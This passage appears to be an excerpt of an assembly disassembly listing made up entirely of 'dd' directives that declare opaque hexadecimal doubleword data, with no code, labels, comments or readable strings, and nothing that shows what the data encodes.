		dd 49E0067Dh, 4ED90B6Eh, 7F54F3Bh, 0BA59016Bh, 857A7F85h
		dd 0F8454A0Ah, 461AD40Eh, 0F9C2750Dh, 0A5692971h, 36FFF3F1h
		dd 0C2208A14h, 202A90EDh, 5A7C2625h, 68AE9327h,	2C1C2963h
		dd 1D297A58h, 45390B85h, 881337F4h, 3030FFB1h, 8D50C706h
		dd 6D5D0911h, 2FFB09D6h, 1835355h, 0C559DD68h, 0B2446B4Eh
		dd 0BA099D4Bh, 0EA1F41F1h, 48E1F012h, 0DEFB016Eh, 0F07BCD60h
		dd 2BBF3E07h, 0ED925D2Bh, 9DF6A84Ch, 2116CC9Ch,	0C6C54BC0h
		dd 0E8F2723h, 409F2870h, 671CA2Fh, 0C7E92F70h, 0C09730D9h
		dd 3E143740h, 0E51215A8h, 5AC8B25Eh, 98E1186h, 54716DA1h
		dd 0DD36550h, 0FE14DBFCh, 7C85B395h, 48912907h,	0EF6E8791h
		dd 0D695C473h, 0B61816E9h, 0DDB50C2Ch, 2EF5801Ch, 3CC0EDCEh
		dd 0F40606DAh, 0BC441293h, 0F5FDD654h, 688A02C8h, 552DD327h
		dd 2DB4169Ch, 0EBD12197h, 0DA061C90h, 9448E40Ch, 12AC0C53h
		dd 0BA30DC1Eh, 81ADCC4h, 0C1142F0Ch, 2DD67D2Ah,	40A68A2Ah
		dd 6514C11Dh, 20AF3DAFh, 95583EBBh, 0F9C09F7h, 70DF3398h
		dd 704EAFh, 2F1DBB12h, 0F77328DBh, 1CFB434Ah, 0B82EC508h
		dd 24F6B08Ah, 79B5285Bh, 555B8952h, 0D91DF7ECh,	2D011E5Dh
		dd 29820A04h, 0A205D8C4h, 79675F07h, 92AA5192h,	0A3DD66FFh
		dd 8729594Dh, 85BA7709h, 4BC264FFh, 819F85B7h, 215AD14Bh
		dd 577AECDAh, 0AAEAB1A8h, 0F6C4D1Fh, 958A0467h,	8A1CA3BEh
		dd 642D1D3h, 4A8009CEh,	3294055h, 2F2B56C8h, 0B2319E7Eh
		dd 0B26FE27Dh, 7FEEA11Eh, 17278E3Fh, 91E9C150h,	51FDC8Dh
		dd 401ECCDh, 1E3C40B9h,	0AC4C0FFh, 613B6C7Ah, 0F2161250h
		dd 75F8D349h, 552DCDF3h, 0C051061Ah, 7982F569h,	772B07CDh
		dd 1B403068h, 9566E4BFh, 8096B6FDh, 81488EC2h, 8D4CD8ADh
		dd 0FC094495h, 1A39C28h, 9087F805h, 0ACD92BABh,	2AB98800h
		dd 0B5687229h, 0C086788h, 0E929535Fh, 95FEC335h, 3BFA08h
		dd 0D4F6E8B4h, 0F0FDEC80h, 84B94EA9h, 3AF03E12h, 97F3F842h
		dd 0F709C4DAh, 37CAC69h, 844ED82Eh, 92C3B3EFh, 45F1308h
		dd 8238F780h, 0BA5A234Fh, 1B8D76B7h, 17F90E58h,	0B268E88Ah
		dd 0E4A81B4Eh, 35A04D3h, 0C5EA124Ah, 6299A47Fh,	0C088C45Eh
		dd 0BBAD4001h, 0D975FB12h, 0AB20DE09h, 0A3CD5F54h, 0F9DF4CA8h
		dd 5F7F13BBh, 6498F990h, 97235814h, 0AC30A300h,	541E918h
		dd 8995F1B7h, 4238B811h, 8D88400Fh, 48558242h, 0D6270CB4h
		dd 0C68650D8h, 8125612Eh, 91542035h, 1F7A824Fh,	0E355F10Ah
		dd 0E07A803Bh, 0E8A906Dh, 7B9B0D9Eh, 0E33DF5C3h, 0EF098CF8h
		dd 0BE515D31h, 0F76E1196h, 68187DBFh, 59F67B93h, 0FD158F7h
		dd 4B75797Eh, 3F5AA14Fh, 526EB14h, 0DB70677h, 5773BA82h
		dd 53799AFEh, 9DCCA120h, 0CDBAAE00h, 672DC745h,	2D71F421h
		dd 68DA927Eh, 0E145C8AAh, 442CEF2Ah, 0F21CA0E4h, 957A161Fh
		dd 0AFEB1271h, 37E1DF3h, 0A70D04B5h, 0BBCDD529h, 4D276CE3h
		dd 7458FEF4h, 90F716CEh, 0F0BB1229h, 0D3012F3h,	6A3CDE28h
		dd 76034C8Dh, 0BF2C7B4Ch, 0BFD34F8Fh, 25F8C186h, 0ED593499h
		dd 0C5465A8Bh, 25C920A5h
		dd 485DD840h, 3016BBE3h, 240C1DCFh, 51406345h, 316A1401h
		dd 0D003EC65h, 0E9774235h, 714A2E8Ah, 0F58B89D7h, 917771ABh
		dd 0D6DEE9CBh, 5973A0Ch, 48C4F219h, 0B900062h, 7C68594Bh
		dd 4698970Eh, 965B3B42h, 0EF0740BEh, 16DA754Ch,	0F04AA180h
		dd 0CBE91A70h, 0D2575435h, 201AB06Ah, 41FD2ACCh, 2F0634AFh
		dd 28E2D8E8h, 94257A5Ch, 0BA564A22h, 0EEF42D67h, 0C96D6BEh
		dd 5E5F7300h, 0E9FE010Dh, 178FB417h, 3DDDAA66h,	0BD456BFCh
		dd 1225F34Ch, 0A909F99Ah, 0D40DC533h, 4008BC51h, 0F54099D7h
		dd 0BF67AE5Ah, 0E9123E58h, 33923021h, 38434003h, 254E102Fh
		dd 92D45031h, 84821B2Fh, 53094BB2h, 758ADF79h, 0D83D22C9h
		dd 379100B3h, 0D7890120h, 4A9220E9h, 0EF835B0Ah, 0E4EC5F02h
		dd 261A6B25h, 0AA7A4D7Fh, 0FED9552h, 10D0D3AFh,	640D273Ch
		dd 17020BF6h, 67624EE6h, 3E5CA140h, 58B3222Dh, 97F02CD1h
		dd 9ECC8252h, 0A27750DAh, 66C6BAFCh, 0DB575722h, 2C13B10h
		dd 0FB0C08B9h, 3712F56Fh, 0E99E2245h, 712889A7h, 1B4298Eh
		dd 0FB2FD1BAh, 89AD2A13h, 7D3EF27Eh, 0D340F340h, 483312DFh
		dd 0B2047120h, 0FF183D47h, 4C083E50h, 0B3E81007h, 4A9EB24Ch
		dd 8BD7FD07h, 270005E6h, 3C9B3FECh, 1905CEECh, 501E8265h
		dd 438DF201h, 0E7704892h, 4E070BF3h, 0FCC079E1h, 720BC798h
		dd 0A917A1E9h, 0A29CD1BAh, 0AA554ED4h, 2B617DDAh, 3A492AE9h
		dd 0D5FE4B99h, 6817011Ch, 0CBB97478h, 0CF2144C4h, 0B95102CCh
		dd 60AD7330h, 12DAE953h, 0FF7BDF3Bh, 0D4F6FBF5h, 25F61F08h
		dd 22DA6977h, 0D6E3E33Ah, 681428BFh, 3A05C52Ah,	15765560h
		dd 1D702A13h, 0CC6BE181h, 8A0C5047h, 22480F7Ah,	6AB11D45h
		dd 78371C64h, 0F197F7F3h, 0EB2EB60Ah, 718F3604h, 0D2750A13h
		dd 3C893FFCh, 0A785FBD4h, 0D2ECAC91h, 6BD49BF6h, 0EB390626h
		dd 7EF7A640h, 0E9F98804h, 0B0138DD5h, 5C413111h, 0FF98FC02h
		dd 0A82D5C60h, 7EE23502h, 8905D801h, 2DAEEC07h,	1ED85651h
		dd 43012D71h, 0DA9FBD66h, 0B12EB28Ah, 5D5EFC4Bh, 0F6C34090h
		dd 0A2F2DCEEh, 0ECF05F33h, 3840C604h, 0E0A06501h, 0D82C5F82h
		dd 0C992891Fh, 1C6DAA20h, 79AF380h, 215B66D8h, 3B108B68h
		dd 0D20381F2h, 0D42C7504h, 0EBE5F083h, 0FAE3F681h, 0AFC7E597h
		dd 958BA6C4h, 8FA8916h,	5914941Eh, 77100489h, 12EF05E5h
		dd 91C2D8F2h, 0CA57D260h, 92BC2786h, 0EC027EE4h, 48E795EEh
		dd 2544922Fh, 0D9815EE8h, 1B3D2820h, 4189CE14h,	49DFC502h
		dd 24DE70E2h, 137908h, 8058C630h, 0F3E026EEh, 50603C99h
		dd 5AE9DC88h, 7897B749h, 99519B0h, 0E85BDF64h, 14129C8h
		dd 0F32F52FBh, 2A6F1093h, 4F98EF4Ah, 81474A8Fh,	66390FDh
		dd 0A5382D0Ch, 744F7F26h, 8A213505h, 96823105h,	2C7EC952h
		dd 295366F0h, 0DF5A2B3h, 300C3C04h, 89BD2177h, 1CD35FE0h
		dd 0FF5614C2h, 969D68BEh, 5909F83h, 0C6596EE9h,	0EB4993C8h
		dd 5531E194h, 0B42BAB2Fh, 59F1E90Dh, 780E4021h,	584B0CFEh
		dd 24809BD4h, 0F5934B8Ah, 59F3B42Eh, 943C809Dh,	0EC44FC67h
		dd 73900CC9h, 0F2181CCCh, 0FFDCF312h, 67A68BFEh, 0A949E9CDh
		dd 17CF3C07h, 0EE47A5E9h, 0E04CDFCBh, 0AA4AE9C4h, 0BB4AADF9h
		dd 5D2D409Ah, 5B144B30h, 44639C32h, 0B1F54A6h, 64C8F331h
		dd 73CE61D8h, 0D6C4E4E1h, 0D9588DABh, 0A2CD6B23h, 1ED2420h
		dd 29C88613h, 3E6CE9F3h, 6E1C81BDh, 455F2702h, 4EE98954h
		dd 5551E5C0h, 16ABBD3Ch, 2BB45640h, 0B07B02C0h,	3D70E91Ch
		dd 7307DE57h, 9B9863Eh,	80395E47h, 0CD32AAC1h, 0BD2BD01h
		dd 2002B6E6h, 87687E24h, 751CA922h, 2F03E0B2h, 3024B5C1h
		dd 0BA001F6Ch, 14B576Dh, 8D9A2CDh, 0E9091B08h, 9424707Dh
		dd 35FE492Ah, 0A502F28Eh, 0A40BEAEDh, 0BFBAD734h, 13138104h
		dd 54C147EEh, 5E7B0212h, 75DD09D5h, 29A5264Dh, 61210214h
		dd 35E3E546h, 122CFC07h, 7D8A4990h, 0D4A2257Ch,	94691DD3h
		dd 32E0906Ch, 2D0C1093h, 16DFD075h, 0E0C3315Dh,	1240E41Fh
		dd 9745EC56h, 0BEC6B225h, 505AC844h, 51F25CC0h,	0F2474BD0h
		dd 0EAF4D7A4h, 14087DC1h, 62D5855h, 0A4207448h,	30FA3139h
		dd 0EA8108D7h, 14CA12DAh, 0EBE012DEh, 6FB53B91h, 93CF8000h
		dd 0F2E7D03Ah, 0AE10E265h, 0A90993BDh, 6D81F928h, 2A56E92Fh
		dd 8A6E71A1h, 5CEB9621h, 0A5465E10h, 1020E858h,	0AD015AD2h
		dd 2E76799Fh, 0A0FF3579h, 47B00848h, 75624213h,	0FFF0EAFh
		dd 0BB4BBA24h, 1447110Ch, 0D52C16EDh, 0DA710946h, 949533DFh
		dd 111431EAh, 3DD20747h, 1A982F1Fh, 1A9759A6h, 559B668Bh
		dd 532BD18Fh, 948324A3h, 0C0C0EFA6h, 12204273h,	3CFCE81h
		dd 8BE91277h, 5E0B38FEh, 54C28952h, 2FCD904Bh, 88975658h
		dd 0AC1D362Fh, 73C58696h, 0EE07AEECh, 0C266A22Ah, 0CBDE9459h
		dd 0A86AA040h, 8249BA2Eh, 0A17E5507h, 2FDB643h,	7625C931h
		dd 7E5D47BDh, 0C4B89DF2h, 0AF7ACF73h, 0C11C7609h, 0CC39BFE7h
		dd 5FFA290Dh, 0B51C44A5h, 0DFB092DEh, 0A86E9FB1h, 0DAFFB2D1h
		dd 1171254Eh, 0E1CC91DFh, 8024003Eh, 0E3286AC3h, 1D2D6812h
		dd 0B71E31F3h, 1EB0CBB6h, 8851CE18h, 0FBF1FD4Bh, 0D96BC5D5h
		dd 0B7B07B53h, 0BB9D4F0Dh, 4EE9367Ch, 0BEF5124Dh, 1DC64AB2h
		dd 504B1E48h, 1FC94916h, 70F60761h, 68FCB5EEh, 806C8170h
		dd 0E22D1EF6h, 0A4B77C31h, 2DD00B3Eh, 5C13FFC7h, 49E264EDh
		dd 0DFDB0B75h, 6329A65h, 4079F757h, 12807549h, 36F9341Bh
		dd 906F50BFh, 530763Eh,	6D7670CBh, 9B7820Ch, 0CAC5C09Ah
		dd 7D6489A7h, 59EF6C87h, 93885E5Ch, 665A093Ch, 5E3A5074h
		dd 5488EEF8h, 894AF42Fh, 5175415Ah, 0C15B44A0h,	2E2DC1BBh
		dd 75900490h, 7E154873h, 3E29EF0Eh, 2D060153h, 3001934Fh
		dd 19160D14h, 6AFC578Ah, 6F25DB3Fh, 0C5B90055h,	7FDC65D2h
		dd 5FF50274h, 1444C9Dh,	7B24A177h, 309E943Dh, 8D03DF7h
		dd 1CAC4DE9h, 0C112284Ch, 0D580AB58h, 693B72C5h, 0CD67A3Fh
		dd 0E082A6BDh, 5407B880h, 98294D14h, 561A2FECh,	0ECF7F8A5h
		dd 58DE4A11h, 68E2CC5Bh, 0D93A0B25h, 60D11F6Eh,	4D9CE580h
		dd 992AF328h, 47053A2Fh, 6C6012Fh, 6B27544Eh, 1F6ECC04h
		dd 0CF685A01h, 9B307A75h, 62F413D1h, 571AAC5Ch,	5EFE7DCCh
		dd 5F2568BEh, 3E31DDCFh, 0F7A783DAh, 52D2365h, 0B9A82BF5h
		dd 0F004D8D7h, 0A4BDDB98h, 7983E554h, 0F60E0790h, 44C286D0h
		dd 41D1EBD2h, 0B12E3082h, 0EFB3305Bh, 0A278B4Bh, 0A07DE82h
		dd 2A02680h, 647A6F0Eh,	32361061h, 70A0253Eh, 2877100Bh
		dd 0CCEC4FF3h, 9F7FB23Ch, 0E9C3160Eh, 5E023FF5h, 7FAEECBAh
		dd 0D12F6087h, 71C72D67h, 0AC13B4FCh, 0BD1A30EAh, 2D0B6BE3h
		dd 80E5C113h, 372ECD70h, 0BB214E18h, 0A101D3D0h, 0C4605ABCh
		dd 80D988B0h, 5D4862B7h, 8917DB53h, 40682DEBh, 9B10D10Ah
		dd 0A209682Ch, 62C2E981h, 572033AAh, 5EC1B84Bh,	7E65A8D1h
		dd 6716DB2Dh, 0A368859Bh, 4A7F8E0Dh, 40E1C0E4h,	0D9905E64h
		dd 2CAAB74Ah, 0D841DC1Eh, 96C1E7Eh, 795F21EBh, 54D71FE8h
		dd 805AF1FEh, 76F0B9B3h, 1B482226h, 0AE5BB310h,	0D3B27827h
		dd 6B3EDD1Bh, 8E4ED1B0h, 3B034645h, 3F989120h, 0EE71B8FEh
		dd 7E5B8157h, 5E0F1382h, 98562D14h, 60888553h, 35ED69D7h
		dd 3FD1F993h, 0EA81810Ch, 3507709Ch, 124EF2D8h,	38E026h
		dd 3A7C0A11h, 219D0184h
		dd 46B9E95Ah, 0CAF1452Bh, 106CF30Ah, 0EB5F56FCh, 0DD40644h
		dd 6D2F0113h, 2F01FDECh, 6B85B8B8h, 0E5DDFF79h,	0FC5A6876h
		dd 0A2ABD2FCh, 0D220B42Ch, 9F7C68EFh, 3B809846h, 0D582D71Ah
		dd 0C2DFE524h, 0B70826EEh, 583EAF03h, 74F4DF7Fh, 0BAB6BA12h
		dd 9DDDFB4Ah, 0B6966A38h, 905C8953h, 9D6E7B4Bh,	818BF8F3h
		dd 0D7E91A93h, 5113A565h, 1B815F64h, 0D06A3F0Eh, 817A4A2h
		dd 0C3295213h, 0BF0FB17h, 3B4F94E7h, 0A543B85Bh, 4353DEFh
		dd 5EEFE8ECh, 0A12A4BBBh, 90049320h, 619D652Ch,	123B2B82h
		dd 61F2ABE2h, 2FB8BEE1h, 0C4CE7221h, 3D20CC2Fh,	0D1300860h
		dd 186857E6h, 383E11E1h, 80801A69h, 0D02B1DE5h,	76C543EDh
		dd 77D7CDFEh, 855D0BC3h, 12EA53D4h, 35CBCAC7h, 1918952h
		dd 81052BC7h, 7ACC8069h, 41384928h, 0D2809218h,	5D69A987h
		dd 719F7C96h, 55E4C261h, 419DBE00h, 2D734898h, 0E554A812h
		dd 0D07861F9h, 54AD85Bh, 42FB41FAh, 817A6A54h, 2D67250Ch
		dd 512089C3h, 0BC315A6Dh, 5550C6CDh, 23C10944h,	0A5D4033Ch
		dd 337542Fh, 0E356D235h, 24E68A10h, 8B2CE84Ah, 4391408Eh
		dd 18932C68h, 5967C0C2h, 0E9123249h, 3521C22h, 636845E0h
		dd 52BB1069h, 0D057BDCAh, 972B05Ch, 12DD3D5Ch, 32AD880h
		dd 7E9DB4B2h, 2301C986h, 2AFC1BE9h, 3AD369EFh, 0E1B1AE61h
		dd 44B15503h, 6593240h,	6C8F1AEDh, 9677090Ch, 0F8554A6Dh
		dd 82377B0Eh, 18C07DC2h, 1B973987h, 8A4FCBB8h, 88B77CEh
		dd 0DF52D309h, 1A1C5F08h, 24AD0474h, 6FA880h, 8261D76h
		dd 80B477E9h, 0D558B353h, 0AC953DB6h, 7EA50F17h, 8BE9F02Ah
		dd 0F4B2435Fh, 0A15F4BDFh, 0B4BB6676h, 0D48151C8h, 0E32B580Dh
		dd 0FB945Bh, 18E7605Dh,	0C00BB3E9h, 6832B134h, 7AA856BDh
		dd 825CAB6h, 18720CF1h,	8AB0A128h, 0E9C75378h, 9AE13301h
		dd 33E1C1B2h, 64E059CBh, 0A290FFEFh, 0E9C36109h, 0EADA789Ah
		dd 0FF0A5FE0h, 0E0BF2253h, 5317668Ah, 5B4AD68h,	0B35B5F2Fh
		dd 3F81432Ah, 0F1E39851h, 5DBC6844h, 0E896466Bh, 72EB8054h
		dd 0B539975Ah, 804E94Ah, 12C48B5Dh, 75C298E9h, 20B8D25Ah
		dd 0BF07DC9Fh, 76DD8DB3h, 16AF29A4h, 8938BA15h,	20B75AB2h
		dd 48A168BEh, 1BC2AB1h,	4C1D5984h, 0CA404F5Fh, 0A0476ACh
		dd 5A71E966h, 81CFAF78h, 83DD9AA7h, 4A376811h, 0D2DFAA6Ah
		dd 25F2E90Bh, 182DC671h, 95385F7Fh, 7C048129h, 5D680282h
		dd 81ABD10Ah, 3B2B187Ch, 0E0072A49h, 0D2AA754Bh, 0E25B7203h
		dd 0ADF7B061h, 7CC4C97h, 0F54A6348h, 0B151FA97h, 5A3C435Ah
		dd 237090Dh, 0F17F25C2h, 0EB5A642Dh, 0A5BD03ECh, 0BCC87743h
		dd 0FA4C895Ah, 79D72F86h, 66E97022h, 4F72314Eh,	2FC8525Ch
		dd 63A0F136h, 21806D9Fh, 0F8EF2928h, 9D205F00h,	4DC03564h
		dd 0BA454F1Dh, 0E544EE06h, 0C1F30437h, 8051422Eh, 91A7DB62h
		dd 42BCE35Ah, 0D1600815h, 0B336B45Ah, 4A93E71Fh, 2DE21288h
		dd 687A10DDh, 6DE69FCDh, 1062E913h, 0F4C5BA7h, 1DDDBD00h
		dd 0D9B8731Fh, 0DFFC0BD3h, 24184F10h, 3A1CA24Bh, 8925B782h
		dd 61E868D8h, 50692D0Bh, 0B3D580FDh, 255644Ah, 26144B35h
		dd 160218Dh, 30B987D3h,	1643C71Ch, 0B4015553h, 8169CC4h
		dd 5B1F1BB4h, 0DF02E2D2h, 44623F49h, 0D86804B0h, 0FD7AAD43h
		dd 0D8C52DA7h, 0C534B74Dh, 0B5F02120h, 2AC939EBh, 0EE3580E0h
		dd 1A414BB1h, 0FC3B05Dh, 2E4C2F8Bh, 0C39BE3A7h,	0C3F3A85h
		dd 69B794E8h, 1CF6058Ah, 20B8EA94h, 0D13CF04Fh,	0BA035992h
		dd 4043523Ah, 0D8AFD489h, 701F1E1h, 0F74BCE5Ah,	0A5CB87D9h
		dd 2BF931Dh, 0C0C634E9h, 715A571Fh, 417CF0B7h, 0FF60EE3Ah
		dd 51BDD5BCh, 9D181FAh,	6F466231h, 783CB701h, 0C870BC0h
		dd 9C5D1D86h, 0E07770E4h, 8B68C609h, 3FE05939h,	60500660h
		dd 5D781B94h, 5E07F550h, 0E227E083h, 0DAE92E39h, 1C2D81A0h
		dd 3E1E150Fh, 13D46BFh,	0FE95999Eh, 965B09C5h, 0D3489D5Ah
		dd 70610786h, 95E20119h, 0A7B97EFEh, 69E68F55h,	331BA47Fh
		dd 0DB2361EAh, 0C3EA3837h, 8E660390h, 6C9D885Ah, 279971FCh
		dd 9F76CD89h, 0F524055Bh, 80491264h, 0B35B4493h, 0C350235Bh
		dd 141C6808h, 89935D1Fh, 0E6C30884h, 508FC156h,	0CD012235h
		dd 0F5AC5C39h, 87983F26h, 18E36F4Eh, 13E56618h,	1249C30Ch
		dd 94B2A5Bh, 4D558645h,	0BCA2CBEh, 1648A9BFh, 0D1121DA2h
		dd 4E014D06h, 5C9216F6h, 0B150639Dh, 6B9E0A54h,	59CAB830h
		dd 77582E68h, 524AC0DEh, 78BD22EDh, 0E4D180AFh,	28DD6AFh
		dd 54A16C99h, 0F8E741FDh, 5A4012Ah, 0CC6F1650h,	2D51E801h
		dd 0EA55F207h, 628B02FCh, 721C7489h, 7210825Eh,	7E0E6802h
		dd 0B67659EBh, 0AF4C8238h, 7461E9B6h, 8B501D6Ah, 0ECD93B06h
		dd 0DD715FC9h, 6F805D2Fh, 8F51E9F1h, 34631596h,	301058CBh
		dd 1D7B2F7Fh, 5F890AD1h, 2421D122h, 77060F67h, 85490964h
		dd 96354E63h, 0E5B7D9C5h, 0BE1245DEh, 5E369688h, 0F721BF6Dh
		dd 36BF26EBh, 0A5B561Eh, 179F7DDh, 5E5CA285h, 93153129h
		dd 1DF2C43Eh, 6738DA04h, 0D2C4AB37h, 43B3A606h,	30BD091Eh
		dd 21007E4Ch, 0C22FF0EDh, 6FE96A16h, 77B733C0h,	0FC364E2Ch
		dd 5CC074C8h, 0B1514FB3h, 0B7E92D97h, 12BD5EC0h, 0E6B8C216h
		dd 0B92A22A8h, 0A9435FD6h, 0A2C3166Eh, 0F5011B09h, 447F1112h
		dd 52536547h, 73FEC234h, 7289918Bh, 46E48378h, 8DB0B6F8h
		dd 0E8C0C2DEh, 0ECC86335h, 45E3B012h, 1EED3B21h, 87772D7Bh
		dd 9804B3D7h, 4E2D68E2h, 0A04EA903h, 95EA07E9h,	953F18FFh
		dd 15FE2C2Dh, 49E42419h, 0FFF8557h, 0BD5B0EF0h,	0C957BB92h
		dd 0F23A5798h, 65BB0596h, 0BF04792Ch, 5F023F5Bh, 1BDD3068h
		dd 0B43212BEh, 0D591A349h, 0D0B0EB2h, 0C0C97EB5h, 978AD5FFh
		dd 21E00BBAh, 8490A258h, 78E2041Ch, 9DA2C524h, 0D47EFA0h
		dd 2E5C283Eh, 10E5E1D8h, 0FF6552ABh, 0BD512A3Ch, 0F9CBEB56h
		dd 0C862E967h, 5C64A0C7h, 753544C0h, 4F52B874h,	0B912FBB9h
		dd 137F57FCh, 602F5C68h, 608DE36h, 57BD101Dh, 324E4813h
		dd 71C9A41Bh, 6794ABh, 0EB295808h, 14963AE9h, 80DCF601h
		dd 0F4CC67C4h, 62CFFA6Bh, 665C6036h, 0B5206CE4h, 2D659004h
		dd 25231A70h, 539A22FEh, 230412FEh, 0C7BB8532h,	3F55C0C1h
		dd 0EA8B897Bh, 13ABACD9h, 0DC824BEh, 83E42F3Bh,	4BB6E93Bh
		dd 23C4F5A8h, 0C4AA3441h, 10A2A97Eh, 0B9046FF9h, 0C2B7736Bh
		dd 0E1DDF1D5h, 0A26B7C0Ah, 2FB0C419h, 0B95DE847h, 122D0900h
		dd 451D530h, 9EFD3FBDh,	0EC5FD46Bh, 475C2ECEh, 19B307A7h
		dd 940CBCCCh, 0FB48E604h, 47C2FD01h, 4595DD25h,	0AF7FF9A5h
		dd 0DB09B973h, 5042F453h, 239C540Fh, 8C935647h,	0E031B215h
		dd 5EE9FEB3h, 66990B90h, 2F940170h, 8BE15C14h, 0E545A92Ah
		dd 46D769DDh, 0D050252Fh, 0F6951464h, 1E2D3ED6h, 3EB6C900h
		dd 0F34E8853h, 4F2481B4h, 0B0EA44ACh, 0A2A013E3h, 51750E08h
		dd 0CC725B1Ah, 0A52DBFB3h, 843DE0Ch, 3D71A1h, 3D4D20C1h
		dd 1443F781h, 0BA76107Dh, 5E349B03h, 2CE73156h,	88626CFEh
		dd 0E05455F1h, 82AAA727h, 612816D4h, 0BD2DA440h, 2B2D39FCh
		dd 0C35E38C1h, 7B2A0EF8h, 70D32946h, 6676D839h,	1BE96809h
		dd 0AD541B8Ch, 4021B3B4h, 0FF98AC03h, 0A6B64B5Eh, 876F6B48h
		dd 14501FC7h, 409EF1Ch,	9006F021h, 341E1DBBh, 63C98348h
		dd 0C0BC0269h, 0F414953Eh
		dd 4C040B4Ch, 4BDA20F4h, 0F49B1356h, 0D45B9670h, 84086FF2h
		dd 133DB663h, 28012877h, 53874FD5h, 6781887Fh, 0D8EE04F5h
		dd 0A72D68BCh, 0D0EF7C75h, 8562F4E9h, 40573138h, 0B16CEBD6h
		dd 5AF8A728h, 62A73706h, 0C00B1DB9h, 993808CAh,	0B7292Dh
		dd 86677767h, 62D49F5Fh, 7C34314h, 49EF1D24h, 4C93EB60h
		dd 0AA7B4EDCh, 8C388058h, 163D6277h, 0C42E80F9h, 9FF9E143h
		dd 3774749Ah, 0E99D019Dh, 8E55CBEFh, 21CAB54Ah,	9B261D5Ch
		dd 1C830F95h, 2EBD55EDh, 92165A59h, 0A26FADA1h,	51B9D30Dh
		dd 0C228DD2Ch, 79F76F29h, 16D34AE5h, 5D95365h, 0AF681487h
		dd 674B9F88h, 9F88D3C6h, 0CD4A59FEh, 86523EEDh,	0EF4C64BAh
		dd 0C0002EDDh, 0E717328h, 0BCB6806h, 0D6DCEB13h, 566325E9h
		dd 0D0FD6812h, 0F5615BE3h, 0CBDDDA25h, 57D71ED4h, 0B11A9354h
		dd 9E9C6B61h, 520140A1h, 0CBA8D6ECh, 949DD9F7h,	0F0289D1Fh
		dd 0CE6102CFh, 0BC740B47h, 0FC2D672Eh, 0ECB554FCh, 0F8AE9F9Fh
		dd 0EEBB3F0Ch, 8049C814h, 8F6029Bh, 7DF12571h, 0E9554683h
		dd 370A42D2h, 2C89DD27h, 0E9852FF9h, 8EABEE2Dh,	68F961D9h
		dd 0CC367994h, 43F4BE00h, 51BA0247h, 61C5EA13h,	576F00ABh
		dd 6C4EFC68h, 835F0502h, 0E14FFFC7h, 7D29DA37h,	7BA32D77h
		dd 296EBE7Eh, 0AC76643h, 1B975E77h, 0AD40839Ch,	0B6FDFD96h
		dd 0C4312610h, 3E3E1F8Ch, 64350440h, 0AE6FEB34h, 7601CF13h
		dd 0CEA6DD75h, 8498F43Bh, 0BF2E0665h, 810E45ABh, 2334AB6Ch
		dd 0BD7806B8h, 0C004DD79h, 22C203EAh, 0BE090999h, 84535B77h
		dd 90F675E9h, 58C321B9h, 68E3D105h, 2FB364B6h, 61362A00h
		dd 38CD8103h, 56F0680Bh, 11607F4Dh, 0C307DACh, 86690C4Ah
		dd 0FC994BFDh, 0EBB84BFFh, 0E0CFEBD3h, 1D48E591h, 9765810h
		dd 87C83B66h, 1083AE7h,	305BC780h, 0F508CCFEh, 0B2525A0Eh
		dd 0E9D5C2B7h, 769450A5h, 0BECA2D42h, 7F88E171h, 0D54825DCh
		dd 320A17C5h, 0BB21A8E3h, 6472501h, 84682D33h, 0EADFFF13h
		dd 25E95388h, 0F1CE4C15h, 0F7875F13h, 0F2025A1h, 667060E1h
		dd 7918E505h, 907A0475h, 940C52Dh, 55163066h, 0B340BF52h
		dd 6A018D15h, 540D0F7h,	49F529B0h, 465BED4h, 0D5E9574Ch
		dd 0B414D03Bh, 0B8BCFEFFh, 0F55D4016h, 0CB283040h, 12E3D059h
		dd 0AF7A7EE9h, 0BC7CAA4h, 41336034h, 4B4A34F6h,	27050609h
		dd 3182D872h, 2764D7C6h, 1B935797h, 4D52A404h, 84E975B6h
		dd 0DA6D4204h, 90DDBE39h, 0ED580C03h, 1F915CB8h, 0D0A10E67h
		dd 22E974C1h, 39B8C04Fh, 31A305C0h, 295A77CEh, 7A68DA80h
		dd 0A1FBC908h, 302771D8h, 501556F0h, 0E5B7B68h,	0EB1B0231h
		dd 96845102h, 2C91EB7h,	5892D522h, 2FFB2057h, 0F2289D4Bh
		dd 256FB489h, 0BDC69C5Fh, 0B950B9DEh, 5C19F6D0h, 4E2F3D63h
		dd 5058CE44h, 7F177100h, 0C8C008AAh, 0B7F16840h, 116270FCh
		dd 0BE6526Ah, 467255C1h, 76DAB18Bh, 0E47DE915h,	4A825DDDh
		dd 0F7BB40D1h, 56A3BB05h, 668B981h, 0A046BEA9h,	515A008Dh
		dd 422C55B5h, 0DDA2E828h, 0C8FB2F7Fh, 23A2641h,	3B3C700Dh
		dd 0A5A43563h, 37BD3A9h, 5F136A5Ah, 6B5A8F0Eh, 599F5EFDh
		dd 876CF458h, 0C1F3015Bh, 0CA4BEA59h, 0DC20275h, 57365620h
		dd 805426Ah, 32DAEB58h,	0E23A4474h, 0CA75B50Ch,	13D33C08h
		dd 0C0D4D086h, 0A33FE99Fh, 26CA20BDh, 0B05B5C40h, 11922000h
		dd 50596638h, 74B8D689h, 33DD465Ah, 0BB355121h,	84A2A343h
		dd 588A6809h, 0B2FF27CAh, 324060D4h, 11759FC8h,	647C4C8Eh
		dd 7DBA6604h, 73BD8243h, 0B57B070Bh, 0B7BACE19h, 0B0501381h
		dd 0E07FDA7Bh, 0B54233DBh, 0EA9FE346h, 8A515581h, 2721BF8Ah
		dd 7FCF89CBh, 0B8B9E267h, 0F4D83FDBh, 682FE9A4h, 765AC2BBh
		dd 0CD2270B1h, 27E24082h, 50B080F7h, 4F0F8FB7h,	2F175E8h
		dd 5E363CF6h, 8FBDE1Ah,	660FB6E1h, 64AEBC68h, 80FB3D64h
		dd 1DEA0D6Eh, 9C59B22Ch, 0F49077ADh, 62793899h,	25FE6817h
		dd 1AE1CCh, 817BF92Bh, 6AA613F1h, 0AD2588B8h, 3A10D7A2h
		dd 80000DB3h, 0E3C08EF3h, 0CCDBF606h, 0D5069410h, 67843AE1h
		dd 3A625CFCh, 0BFC0EBC1h, 46B5548Ch, 1C4B0BC2h,	23F65CFEh
		dd 92FD8049h, 0F364E928h, 137C8169h, 81EE729h, 0B2A01CC2h
		dd 0E9856828h, 5C10D495h, 0DDF382C9h, 1605D18h,	0CD8ADCB7h
		dd 0D89A6B38h, 52CEE912h, 71CEEA1Bh, 0B72B1655h, 76B9A3Ch
		dd 0FE298092h, 82DD4BA2h, 0D50F1DB0h, 2B1E2110h, 2519363Eh
